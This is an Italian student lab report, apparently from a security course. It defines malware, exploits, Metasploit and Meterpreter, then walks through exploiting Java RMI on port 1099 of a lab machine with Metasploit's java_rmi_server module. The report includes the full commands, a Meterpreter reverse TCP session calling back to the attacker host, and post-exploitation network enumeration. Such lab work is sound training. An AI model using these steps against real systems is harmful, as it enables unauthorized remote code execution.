



Progetto S7/L5



Malware

Un malware e un exploit sono concetti distinti nel campo della sicurezza informatica. Il malware è un software dannoso progettato per infiltrarsi o danneggiare un sistema, spesso senza il consenso dell'utente. Esistono diverse categorie di malware, ognuna con uno scopo specifico. Ad esempio, i virus infettano altri file o programmi, i worm si diffondono autonomamente attraverso le reti, mentre i ransomware crittografano i dati chiedendo un riscatto per ripristinarli, e così via.



Exploit

Gli exploit, d'altra parte, sono specifici metodi o codici che sfruttano le vulnerabilità di un sistema o di un'applicazione. Le vulnerabilità possono derivare da errori di programmazione, falle di sicurezza o problemi di progettazione che permettono agli hacker di ottenere accesso non autorizzato o eseguire codice malevolo. Gli exploit possono essere utilizzati per sfruttare queste vulnerabilità e introdurre malware nei sistemi bersaglio. Spesso vengono descritti con riferimento alle vulnerabilità specifiche che sfruttano, come **"exploit di buffer overflow"**.

In sostanza, il malware causa danni, mentre gli exploit sono gli strumenti che ne rendono possibile l'esecuzione.



Metasploit

Metasploit è un framework di test di penetrazione open-source utilizzato dagli esperti di sicurezza informatica per sviluppare, testare e eseguire exploit su sistemi informatici al fine di identificare vulnerabilità. Fondato su un vasto database di exploit e payload, Metasploit fornisce una piattaforma versatile per testare la sicurezza di reti e sistemi. È stato creato con l'obiettivo di educare sulla sicurezza informatica e facilitare la ricerca sulle vulnerabilità.



Meterpreter

Meterpreter, d'altra parte, è un payload di Metasploit progettato per fornire una vasta gamma di funzionalità durante le operazioni di test di penetrazione. Funziona come un interprete di comandi da remoto, consentendo agli utenti di eseguire comandi sul sistema bersaglio, acquisire informazioni, avviare processi, catturare schermate e molto altro. È una componente fondamentale per gli hacker etici impegnati in test di sicurezza.



Esercizio

Parliamo del servizio di cui stiamo sfruttando la vulnerabilità. Java Remote Method Invocation (RMI) è un meccanismo di comunicazione tra processi in ambiente Java. Consente a un'applicazione Java su una macchina virtuale di chiamare metodi di oggetti su un'altra macchina virtuale, facilitando la comunicazione distribuita. La porta 1099 è comunemente utilizzata per registrare e cercare servizi RMI attraverso il registry RMI.

Esercizio

Dopo aver cambiato gli indirizzi IP ed aver controllato le porte aperte con nmap, apriamo un terminale, eseguiamo **msfconsole** e successivamente eseguiamo una ricerca con il comando **search java_rmi**. Nella pratica corretta, è consigliato controllare tutte le vulnerabilità, ma nel nostro caso stiamo seguendo una specifica traccia e ci concentreremo solo sull'exploit **exploit/multi/misc/java_rmi_server**.

```
(root@kali)-[/home/kali]  
# msfconsole
```

```
msf6 > search java_rmi  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank
Check	Description		
0	auxiliary/gather/java_rmi_registry		normal
No	Java RMI Registry Interfaces Enumeration		
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent
Yes	Java RMI Server Insecure Default Configuration	Java Code Execution	
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal
No	Java RMI Server Insecure Endpoint Code Execution Scanner		
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent
No	Java RMIConnectionImpl Deserialization Privilege Escalation		

```
msf6 > use 1  
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

Esercizio

Inseriamo `show options` per visualizzare i cambiamenti fondamentali da apportare. Secondo la traccia, se la macchina restituisce un errore, è necessario modificare anche `HTTPDELAY` a 20. Nel mio caso, modifico solamente `RHOSTS` con l'indirizzo IP `192.168.11.112`.

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the H
RHOSTS		yes	The target host
RPORT	1099	yes	The target port
SRVHOST	0.0.0.0	yes	The local host
SRVPORT	8080	yes	The local port
SSL	false	no	Negotiate SSL f
SSLCert		no	Path to a custo
URIPATH		no	lt is randomly

The URI to use
t is random)



Esercizio

Ora che abbiamo impostato l'IP della macchina vittima, eseguiamo **exploit**. Dall'ultimo messaggio, comprendiamo che una sessione di Meterpreter è stata aperta.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/RMUjoiuaOB5oX
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:41808) at
2024-01-26 03:45:41 -0500
```



Esercizio

Ipotizziamo di non conoscere i comandi di Meterpreter. Ho utilizzato il comando `help` per trovare le informazioni necessarie. Ora possiamo visualizzare sia la configurazione di rete che le informazioni sulla tabella di routing della macchina vittima.

Stdapi: Networking Commands

Command	Description
<code>ifconfig</code>	Display interfaces
<code>ipconfig</code>	Display interfaces
<code>portfwd</code>	Forward a local port to a remote service
<code>resolve</code>	Resolve a set of host names on the target
<code>route</code>	View and modify the routing table



Esercizio

Ecco qui a destra la configurazione di rete.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fea9:a5fb
IPv6 Netmask : ::
```

Esercizio

Ecco qui a destra le informazioni sulla tabella di routing della macchina vittima.

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fea9:a5fb	::	::		